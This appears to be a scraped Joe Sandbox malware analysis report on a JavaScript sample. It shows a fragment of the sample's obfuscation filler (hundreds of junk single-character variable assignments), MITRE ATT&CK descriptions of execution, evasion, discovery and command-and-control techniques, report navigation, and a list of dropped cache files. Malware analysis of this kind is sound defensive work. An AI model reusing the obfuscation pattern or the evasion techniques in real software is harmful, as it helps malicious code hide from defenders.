1106	haxsediuh = "K";
1107	haxsediuh = "M";
1108	haxsediuh = "I";
1109	haxsediuh = "R";
1110	haxsediuh = "x";
1111	haxsediuh = "2";
1112	tewjs = "a";
1113	tewjs = "A";
1114	tewjs = "M";
1115	tewjs = "t";
1116	tewjs = "J";
1117	tewjs = "z";
1118	tewjs = "U";
1119	tewjs = "N";
1120	tewjs = "D";
1121	tewjs = "A";
1122	tewjs = "J";
1123	tewjs = "i";
1124	tewjs = "f";
1125	tewjs = "g";
1126	tewjs = "j";
1127	tewjs = "G";
1128	tewjs = "V";
1129	tewjs = "G";
1130	tewjs = "D";
1131	tewjs = "x";
1132	tewjs = "L";
1133	tewjs = "Q";
1134	tewjs = "s";
1135	tewjs = "Y";
1136	tewjs = "f";
1137	tewjs = "q";
1138	tewjs = "t";
1139	tewjs = "r";
1140	tewjs = "m";
1141	tewjs = "_";
1142	fxlry = "H";
1143	fxlry = "v";
1144	fxlry = "F";
1145	fxlry = "c";
1146	fxlry = "x";
1147	fxlry = "P";
1148	fxlry = "x";
1149	fxlry = "f";
1150	fxlry = "U";
1151	fxlry = "r";
1152	fxlry = "F";
1153	fxlry = "y";
1154	fxlry = "T";
1155	ytzmba = "N";
1156	ytzmba = "g";
1157	ytzmba = "v";
1158	ytzmba = "o";
1159	ytzmba = "z";
1160	ytzmba = "c";
1161	ytzmba = "o";
1162	ytzmba = "W";
1163	ytzmba = "H";
1164	ytzmba = "g";
1165	ytzmba = "d";
1166	ytzmba = "X";
1167	ytzmba = "p";
1168	ytzmba = "F";
1169	ytzmba = "L";
1170	ytzmba = "z";
1171	ytzmba = "F";
1172	ytzmba = "p";
1173	ytzmba = "O";
1174	ytzmba = "j";
1175	ytzmba = "M";
1176	ytzmba = "q";
1177	ytzmba = "t";
1178	ytzmba = "G";
1179	ytzmba = "Z";
1180	ytzmba = "t";
1181	ytzmba = "J";
1182	ytzmba = "O";
1183	ytzmba = "Z";
1184	ytzmba = "R";
1185	ytzmba = "Z";
1186	ytzmba = "Y";
1187	ytzmba = "V";
1188	ytzmba = "g";
1189	ytzmba = "N";
1190	ytzmba = "g";
1191	ytzmba = "t";
1192	ytzmba = "m";
1193	ytzmba = "e";
1194	ytzmba = "S";
1195	ytzmba = "F";
1196	ytzmba = "z";
1197	ytzmba = "7";
1198	xjxedj = "h";
1199	xjxedj = "c";
1200	xjxedj = "W";
1201	xjxedj = "L";
1202	xjxedj = "Q";
1203	xjxedj = "I";
1204	xjxedj = "L";
1205	xjxedj = "e";
1206	xjxedj = "z";
1207	xjxedj = "x";
1208	xjxedj = "a";
1209	xjxedj = "C";
1210	xjxedj = "f";
1211	xjxedj = "e";
1212	xjxedj = "q";
1213	xjxedj = "M";
1214	xjxedj = "W";
1215	xjxedj = "H";
1216	xjxedj = "s";
1217	xjxedj = "u";
1218	xjxedj = "f";
1219	sypyaywjn = "e";
1220	sypyaywjn = "h";
1221	sypyaywjn = "Y";
1222	sypyaywjn = "U";
1223	sypyaywjn = "u";
1224	sypyaywjn = "h";
1225	sypyaywjn = "X";
1226	sypyaywjn = "k";
1227	sypyaywjn = "S";
1228	sypyaywjn = "K";
1229	sypyaywjn = "a";
1230	sypyaywjn = "y";
1231	sypyaywjn = "M";
1232	sypyaywjn = "G";
1233	sypyaywjn = "W";
1234	mvwuf = "L";
1235	mvwuf = "P";
1236	mvwuf = "Q";
1237	ntzmqwy = "y";
1238	ntzmqwy = "r";
1239	ntzmqwy = "s";
1240	ntzmqwy = "M";
1241	ntzmqwy = "G";
1242	ntzmqwy = "u";
1243	ntzmqwy = "r";
1244	ntzmqwy = "w";
1245	ntzmqwy = "W";
1246	ntzmqwy = "m";
1247	ntzmqwy = "O";
1248	ntzmqwy = "O";
1249	ntzmqwy = "d";
1250	ntzmqwy = "z";
1251	ntzmqwy = "X";
1252	ntzmqwy = "C";
1253	ntzmqwy = "f";
1254	ntzmqwy = "F";
1255	ntzmqwy = "b";
1256	ntzmqwy = "h";
1257	ntzmqwy = "S";
1258	sdxjho = "h";
1259	sdxjho = "T";
1260	sdxjho = "c";
1261	sdxjho = "k";
1262	jpooaicfb = "H";
1263	jpooaicfb = "t";
1264	jpooaicfb = "Q";
1265	jpooaicfb = "P";
1266	jpooaicfb = "N";
1267	jpooaicfb = "C";
1268	jpooaicfb = "o";
1269	jpooaicfb = "C";
1270	jpooaicfb = "x";
1271	jpooaicfb = "I";
1272	jpooaicfb = "S";
1273	jpooaicfb = "r";
1274	jpooaicfb = "g";
1275	jpooaicfb = "J";
1276	jpooaicfb = "N";
1277	jpooaicfb = "k";
1278	jpooaicfb = "L";
1279	jpooaicfb = "h";
1280	jpooaicfb = "g";
1281	jpooaicfb = "D";
1282	jpooaicfb = "z";
1283	jpooaicfb = "n";
1284	jpooaicfb = "U";
1285	jpooaicfb = "&";
1286	uuhcueget = "h";
1287	uuhcueget = "h";
1288	uuhcueget = "j";
1289	uuhcueget = "k";
1290	uuhcueget = "b";
1291	uuhcueget = "x";
1292	uuhcueget = "N";
1293	uuhcueget = "R";
1294	uuhcueget = "w";
1295	uuhcueget = "Y";
1296	uuhcueget = "w";
1297	uuhcueget = "E";
1298	uuhcueget = "C";
1299	uuhcueget = "w";
1300	uuhcueget = "r";
1301	uuhcueget = "B";
1302	uuhcueget = "f";
1303	uuhcueget = "M";
1304	uuhcueget = "z";
1305	uuhcueget = "b";
1306	uuhcueget = "o";
1307	uuhcueget = "O";
1308	uuhcueget = "N";
1309	uuhcueget = "k";
1310	uuhcueget = "G";
1311	uuhcueget = "F";
1312	uuhcueget = "F";
1313	uuhcueget = "R";
1314	uuhcueget = "B";
1315	uuhcueget = "F";
1316	uuhcueget = "T";
1317	uuhcueget = "p";
1318	uuhcueget = "Y";
1319	uuhcueget = "u";
1320	uuhcueget = "w";
1321	butmpxc = "J";
1322	butmpxc = "n";
1323	butmpxc = "i";
1324	butmpxc = "5";
1325	swaqsrwb = "X";
1326	swaqsrwb = "R";
1327	swaqsrwb = "E";
1328	swaqsrwb = "p";
1329	swaqsrwb = "j";
1330	swaqsrwb = "j";
1331	swaqsrwb = "Y";
1332	swaqsrwb = "v";
1333	swaqsrwb = "Q";
1334	swaqsrwb = "P";
1335	swaqsrwb = "O";
1336	swaqsrwb = "J";
1337	swaqsrwb = "p";
1338	swaqsrwb = "v";
1339	swaqsrwb = "Q";
1340	swaqsrwb = "G";
1341	swaqsrwb = "F";
1342	swaqsrwb = "J";
1343	swaqsrwb = "K";
1344	swaqsrwb = "p";
1345	swaqsrwb = "x";
1346	swaqsrwb = "V";
1347	swaqsrwb = "u";
1348	swaqsrwb = "O";
1349	swaqsrwb = "u";
1350	swaqsrwb = "l";
1351	swaqsrwb = "Q";
1352	swaqsrwb = "H";
1353	swaqsrwb = "h";
1354	swaqsrwb = "w";
1355	swaqsrwb = "t";
1356	swaqsrwb = "f";
1357	swaqsrwb = "h";
1358	swaqsrwb = "q";
1359	swaqsrwb = "T";
1360	swaqsrwb = "E";
1361	swaqsrwb = "N";
1362	swaqsrwb = "c";
1363	swaqsrwb = "C";
1364	swaqsrwb = "o";
1365	krbync ( );	krbync() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 31244102191071522677.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\45c7dbeb-97bc-4c16-9c02-65d9bf43a734.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9436ff88-ce10-4a98-9702-edf9493dcbb0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c5494.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
31244102191071522677.js